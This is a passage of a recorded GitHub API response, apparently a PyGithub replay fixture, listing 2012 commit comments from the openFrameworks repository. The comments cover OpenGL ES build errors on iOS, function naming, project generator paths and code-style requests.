vacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":14,"line":451,"path":"libs/openFrameworks/gl/ofFbo.cpp","commit_id":"5b1f22a80109b1d3abb339cc2fc15ac3f8798849","created_at":"2012-02-16T11:50:54Z","updated_at":"2012-02-16T11:50:54Z","body":"mm, weird that seems to work in android, let me take a look\r\n\r\nEl 16/02/12 12:44, lukasz karluk escribió:\r\n> this line is also throwing an error on iphone, GL_UNSIGNED_INT is undeclared.\r\n>\r\n> ---\r\n> Reply to this email directly or view it on GitHub:\r\n> https://github.com/openframeworks/openFrameworks/commit/5b1f22a80109b1d3abb339cc2fc15ac3f8798849#commitcomment-973460"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/976339","html_url":"https://github.com/openframeworks/openFrameworks/commit/5b1f22a80109b1d3abb339cc2fc15ac3f8798849#commitcomment-976339","id":976339,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":14,"line":451,"path":"libs/openFrameworks/gl/ofFbo.cpp","commit_id":"5b1f22a80109b1d3abb339cc2fc15ac3f8798849","created_at":"2012-02-17T02:04:22Z","updated_at":"2012-02-17T02:04:22Z","body":"changing GL_UNSIGNED_INT to GL_UNSIGNED_BYTE compiles ok\nbut not sure how that would effect what you're trying to do..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/986195","html_url":"https://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8#commitcomment-986195","id":986195,"user":{"login":"gabrielstuff","id":285033,"avatar_url":"https://secure.gravatar.com/avatar/390ea42c23c2c383f973abdafa24bb07?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"390ea42c23c2c383f973abdafa24bb07","url":"https://api.github.com/users/gabrielstuff","html_url":"https://github.com/gabrielstuff","followers_url":"https://api.github.com/users/gabrielstuff/followers","following_url":"https://api.github.com/users/gabrielstuff/following{/other_user}","gists_url":"https://api.github.com/users/gabrielstuff/gists{/gist_id}","starred_url":"https://api.github.com/users/gabrielstuff/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gabrielstuff/subscriptions","organizations_url":"https://api.github.com/users/gabrielstuff/orgs","repos_url":"https://api.github.com/users/gabrielstuff/repos","events_url":"https://api.github.com/users/gabrielstuff/events{/privacy}","received_events_url":"https://api.github.com/users/gabrielstuff/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8","created_at":"2012-02-20T16:06:26Z","updated_at":"2012-02-20T16:06:26Z","body":"Sorry to bump here, but isn't here an issue with the call to ```ofDrawGridPlane( scale, ticks, labels)```, but there is just ```drawGridPlane(float scale, float ticks, bool labels)``` that is defined ?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/986201","html_url":"https://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8#commitcomment-986201","id":986201,"user":{"login":"emmanuelgeoffray","id":808090,"avatar_url":"https://secure.gravatar.com/avatar/c1ec5161b69b4a990436deafb1170d64?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"c1ec5161b69b4a990436deafb1170d64","url":"https://api.github.com/users/emmanuelgeoffray","html_url":"https://github.com/emmanuelgeoffray","followers_url":"https://api.github.com/users/emmanuelgeoffray/followers","following_url":"https://api.github.com/users/emmanuelgeoffray/following{/other_user}","gists_url":"https://api.github.com/users/emmanuelgeoffray/gists{/gist_id}","starred_url":"https://api.github.com/users/emmanuelgeoffray/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/emmanuelgeoffray/subscriptions","organizations_url":"https://api.github.com/users/emmanuelgeoffray/orgs","repos_url":"https://api.github.com/users/emmanuelgeoffray/repos","events_url":"https://api.github.com/users/emmanuelgeoffray/events{/privacy}","received_events_url":"https://api.github.com/users/emmanuelgeoffray/received_events","type":"User"},"position":39,"line":57,"path":"libs/openFrameworks/3d/of3dUtils.cpp","commit_id":"7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8","created_at":"2012-02-20T16:06:47Z","updated_at":"2012-02-20T16:06:47Z","body":"It should be ofDrawGridPlane?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1003359","html_url":"https://github.com/openframeworks/openFrameworks/commit/91d76830cf705026afe09fc6fbf8e5a347e900ca#commitcomment-1003359","id":1003359,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"91d76830cf705026afe09fc6fbf8e5a347e900ca","created_at":"2012-02-23T17:07:03Z","updated_at":"2012-02-23T17:07:03Z","body":"I guess you skip updating the createProjects scripts until the project generator is finished? Because right now, it's broken because of the move."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1003442","html_url":"https://github.com/openframeworks/openFrameworks/commit/91d76830cf705026afe09fc6fbf8e5a347e900ca#commitcomment-1003442","id":1003442,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"91d76830cf705026afe09fc6fbf8e5a347e900ca","created_at":"2012-02-23T17:22:04Z","updated_at":"2012-02-23T17:22:04Z","body":"the project creator is working against the new paths in develop but deploy examples will be broken... I need to fix one issue with osx recursive folders but besides that, it's almost there. will check it in shortly in dev apps.... "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1010469","html_url":"https://github.com/openframeworks/openFrameworks/commit/7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8#commitcomment-1010469","id":1010469,"user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"7ca7833ea1afb6bd5a6c54031e3fa688aa0c0ba8","created_at":"2012-02-25T08:16:08Z","updated_at":"2012-02-25T08:16:08Z","body":"hey!\r\ni've mentioned this elsewhere but this pull was stale, and should have been going into develop\r\nand as others have noted `drawGridPlane` should be `ofDrawGridPlane` in the cpp.\r\n"}] https GET api.github.com None /repositories/345337/comments?per_page=100&page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4875'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '163112'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 19 Jun 2013 10:28:42 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"a3e035a1aeb9a4a31629a5537db4a857"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 19 Jun 2013 10:31:31 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1033394","html_url":"https://github.com/openframeworks/openFrameworks/commit/eb7e594fffabb3ff825b67aaf0b1bca4e0b17aa0#commitcomment-1033394","id":1033394,"user":{"login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following{/other_user}","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"eb7e594fffabb3ff825b67aaf0b1bca4e0b17aa0","created_at":"2012-03-01T23:04:43Z","updated_at":"2012-03-01T23:04:43Z","body":"I think that this push broke IOS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1033425","html_url":"https://github.com/openframeworks/openFrameworks/commit/eb7e594fffabb3ff825b67aaf0b1bca4e0b17aa0#commitcomment-1033425","id":1033425,"user":{"login":"kpasko","id":167271,"avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","url":"https://api.github.com/users/kpasko","html_url":"https://github.com/kpasko","followers_url":"https://api.github.com/users/kpasko/followers","following_url":"https://api.github.com/users/kpasko/following{/other_user}","gists_url":"https://api.github.com/users/kpasko/gists{/gist_id}","starred_url":"https://api.github.com/users/kpasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kpasko/subscriptions","organizations_url":"https://api.github.com/users/kpasko/orgs","repos_url":"https://api.github.com/users/kpasko/repos","events_url":"https://api.github.com/users/kpasko/events{/privacy}","received_events_url":"https://api.github.com/users/kpasko/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"eb7e594fffabb3ff825b67aaf0b1bca4e0b17aa0","created_at":"2012-03-01T23:12:25Z","updated_at":"2012-03-01T23:12:25Z","body":"oh right - it was in gles1.0, but i think they removed it in 2.0 (i should really get an iphone...); can easily wrap into an ifdef tonight"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1035900","html_url":"https://github.com/openframeworks/openFrameworks/commit/eb7e594fffabb3ff825b67aaf0b1bca4e0b17aa0#commitcomment-1035900","id":1035900,"user":{"login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following{/other_user}","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"eb7e594fffabb3ff825b67aaf0b1bca4e0b17aa0","created_at":"2012-03-02T15:28:12Z","updated_at":"2012-03-02T15:28:12Z","body":"I'm not sure how much to #ifndef but looks like glES 2 goes not support\r\n\r\n\r\nGL_COLOR_ATTACHMENT0_EXT\r\nglDrawBuffers\r\n\r\nI have a fix should I push?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1036430","html_url":"https://github.com/openframeworks/openFrameworks/commit/eb7e594fffabb3ff825b67aaf0b1bca4e0b17aa0#commitcomment-1036430","id":1036430,"user":{"login":"kpasko","id":167271,"avatar_url":"https://secure.gravatar.com/avatar/b3685ad8a761582e5f1c3e151f9f854f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3685ad8a761582e5f1c3e151f9f854f","url":"https://api.github.com/users/kpasko","html_url":"https://github.com/kpasko","followers_url":"https://api.github.com/users/kpasko/followers","following_url":"https://api.github.com/users/kpasko/following{/other_user}","gists_url":"https://api.github.com/users/kpasko/gists{/gist_id}","starred_url":"https://api.github.com/users/kpasko/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kpasko/subscriptions","organizations_url":"https://api.github.com/users/kpasko/orgs","repos_url":"https://api.github.com/users/kpasko/repos","events_url":"https://api.github.com/users/kpasko/events{/privacy}","received_events_url":"https://api.github.com/users/kpasko/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"eb7e594fffabb3ff825b67aaf0b1bca4e0b17aa0","created_at":"2012-03-02T16:20:50Z","updated_at":"2012-03-02T16:20:50Z","body":"I think GL_COLOR_ATTACHMENT0_EXT is GL_COLOR_ATTACHMENT0_OES... If you just put GL_COLOR_ATTACHMENT0, the defines at the top of ofFbo.cpp will handle it for you, but only for attachment 0. I suppose the proper solution is to add more defines at the top and take off EXT. \r\n\r\nglDrawBuffers I don't think work. \r\n\r\nIf you push your change I can modify the defines and so forth accordingly, or you can test using GL_COLOR_ATTACHMENT#_OES before pushing, whither way."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1036541","html_url":"https://github.com/openframeworks/openFrameworks/commit/eb7e594fffabb3ff825b67aaf0b1bca4e0b17aa0#commitcomment-1036541","id":1036541,"user":{"login":"vanderlin","id":149997,"avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","url":"https://api.github.com/users/vanderlin","html_url":"https://github.com/vanderlin","followers_url":"https://api.github.com/users/vanderlin/followers","following_url":"https://api.github.com/users/vanderlin/following{/other_user}","gists_url":"https://api.github.com/users/vanderlin/gists{/gist_id}","starred_url":"https://api.github.com/users/vanderlin/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/vanderlin/subscriptions","organizations_url":"https://api.github.com/users/vanderlin/orgs","repos_url":"https://api.github.com/users/vanderlin/repos","events_url":"https://api.github.com/users/vanderlin/events{/privacy}","received_events_url":"https://api.github.com/users/vanderlin/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"eb7e594fffabb3ff825b67aaf0b1bca4e0b17aa0","created_at":"2012-03-02T16:49:39Z","updated_at":"2012-03-02T16:49:39Z","body":"made a pull request its a hack but at least fixes it on IOS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1039137","html_url":"https://github.com/openframeworks/openFrameworks/commit/c50648e29199a3f61eae05f6ceb350a97ab275d7#commitcomment-1039137","id":1039137,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"c50648e29199a3f61eae05f6ceb350a97ab275d7","created_at":"2012-03-03T19:02:18Z","updated_at":"2012-03-03T19:02:18Z","body":"the loadData() methods added here broke 32-bit and 16-bit image display in the AdvancedImageLoading example. i'm not completely sure why. maybe the ofPixels were being converted before?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1095371","html_url":"https://github.com/openframeworks/openFrameworks/commit/918818c864c663938377ff48b72f512ae06ec51e#commitcomment-1095371","id":1095371,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":50,"line":314,"path":"apps/devApps/projectGenerator/src/utils/Utils.cpp","commit_id":"918818c864c663938377ff48b72f512ae06ec51e","created_at":"2012-03-16T17:52:11Z","updated_at":"2012-03-16T17:52:11Z","body":"@ofZach curious why you changed this. \nI tried re-adding this and I get a ../../../addons path ( now I am getting ../../addons )\n\nwhat is weird is that the addons examples end up with ../../../../ - so I imagine this is what you were trying to fix?\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1095499","html_url":"https://github.com/openframeworks/openFrameworks/commit/918818c864c663938377ff48b72f512ae06ec51e#commitcomment-1095499","id":1095499,"user":{"login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","url":"https://api.github.com/users/ofZach","html_url":"https://github.com/ofZach","followers_url":"https://api.github.com/users/ofZach/followers","following_url":"https://api.github.com/users/ofZach/following{/other_user}","gists_url":"https://api.github.com/users/ofZach/gists{/gist_id}","starred_url":"https://api.github.com/users/ofZach/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofZach/subscriptions","organizations_url":"https://api.github.com/users/ofZach/orgs","repos_url":"https://api.github.com/users/ofZach/repos","events_url":"https://api.github.com/users/ofZach/events{/privacy}","received_events_url":"https://api.github.com/users/ofZach/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"918818c864c663938377ff48b72f512ae06ec51e","created_at":"2012-03-16T18:15:58Z","updated_at":"2012-03-16T18:15:58Z","body":"sorry ! I was trying to fix an error with seeing ../../../../, but it looks like I introduced another problem. will take a look at it later today. "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1097032","html_url":"https://github.com/openframeworks/openFrameworks/commit/14f5496a27eb7ad7db492397db3879a2e21392cb#commitcomment-1097032","id":1097032,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"14f5496a27eb7ad7db492397db3879a2e21392cb","created_at":"2012-03-17T02:27:11Z","updated_at":"2012-03-17T02:27:11Z","body":"hey @kylemcdonald - I would expect this to come in as PR \r\nits a little hard to see whats new this way"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1097055","html_url":"https://github.com/openframeworks/openFrameworks/commit/9f360dafd8c45dbbef2c59c68ae8c5a531e6c8f8#commitcomment-1097055","id":1097055,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"9f360dafd8c45dbbef2c59c68ae8c5a531e6c8f8","created_at":"2012-03-17T02:38:11Z","updated_at":"2012-03-17T02:38:11Z","body":"the non used methods should have an extra return between { and } \r\nexactly how it is in empty example :) \r\n\r\nalso please do this as a PR and not directly into origin ( that is reserved for zach, arturo and I ) "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1097067","html_url":"https://github.com/openframeworks/openFrameworks/commit/5f6e1e794f52e55251f4c9479c52c19b65ae91b2#commitcomment-1097067","id":1097067,"user":{"login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","url":"https://api.github.com/users/ofTheo","html_url":"https://github.com/ofTheo","followers_url":"https://api.github.com/users/ofTheo/followers","following_url":"https://api.github.com/users/ofTheo/following{/other_user}","gists_url":"https://api.github.com/users/ofTheo/gists{/gist_id}","starred_url":"https://api.github.com/users/ofTheo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ofTheo/subscriptions","organizations_url":"https://api.github.com/users/ofTheo/orgs","repos_url":"https://api.github.com/users/ofTheo/repos","events_url":"https://api.github.com/users/ofTheo/events{/privacy}","received_events_url":"https://api.github.com/users/ofTheo/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"5f6e1e794f52e55251f4c9479c52c19b65ae91b2","created_at":"2012-03-17T02:48:37Z","updated_at":"2012-03-17T02:48:37Z","body":"also please indent the public: private etc as according to of code style:\r\nhttps://github.com/openframeworks/openFrameworks/wiki/oF-code-style\r\n\r\ntrying to sneak it in :) "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1097198","html_url":"https://github.com/openframeworks/openFrameworks/commit/14f5496a27eb7ad7db492397db3879a2e21392cb#commitcomment-1097198","id":1097198,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"14f5496a27eb7ad7db492397db3879a2e21392cb","created_at":"2012-03-17T05:12:07Z","updated_at":"2012-03-17T05:12:07Z","body":"@ofTheo sorry! i can do all changes as pull requests. i understand that it's easier to review it in a pr."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/1097202","html_url":"https://github.com/openframeworks/openFrameworks/commit/5f6e1e794f52e55251f4c9479c52c19b65ae91b2#commitcomment-1097202","id":1097202,"user":{"login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","url":"https://api.github.com/users/kylemcdonald","html_url":"https://github.com/kylemcdonald","followers_url":"https://api.github.com/users/kylemcdonald/followers","following_url":"https://api.github.com/users/kylemcdonald/following{/other_user}","gists_url":"https://api.github.com/users/kylemcdonald/gists{/gist_id}","starred_url":"https://api.github.com/users/kylemcdonald/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kylemcdonald/subscriptions","organizations_url":"https://api.github.com/users/kylemcdonald/orgs","repos_url":"https://api.github.com/users/kylemcdonald/repos","events_url":"https://api.github.com/users/kylemcdonald/events{/privacy}","received_events_url":"https://api.github.com/users/kylemcdonald/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"5f6e1e794f52e55251f4c9479c52c19b65ae91b2","created_at":"2012-03-17T05:14:11Z","updated_at":"2012-03-17T05:14:11Z","body":"ahhhh yes. xcode's ctrl+i getting in the way. i'll re-indent them all 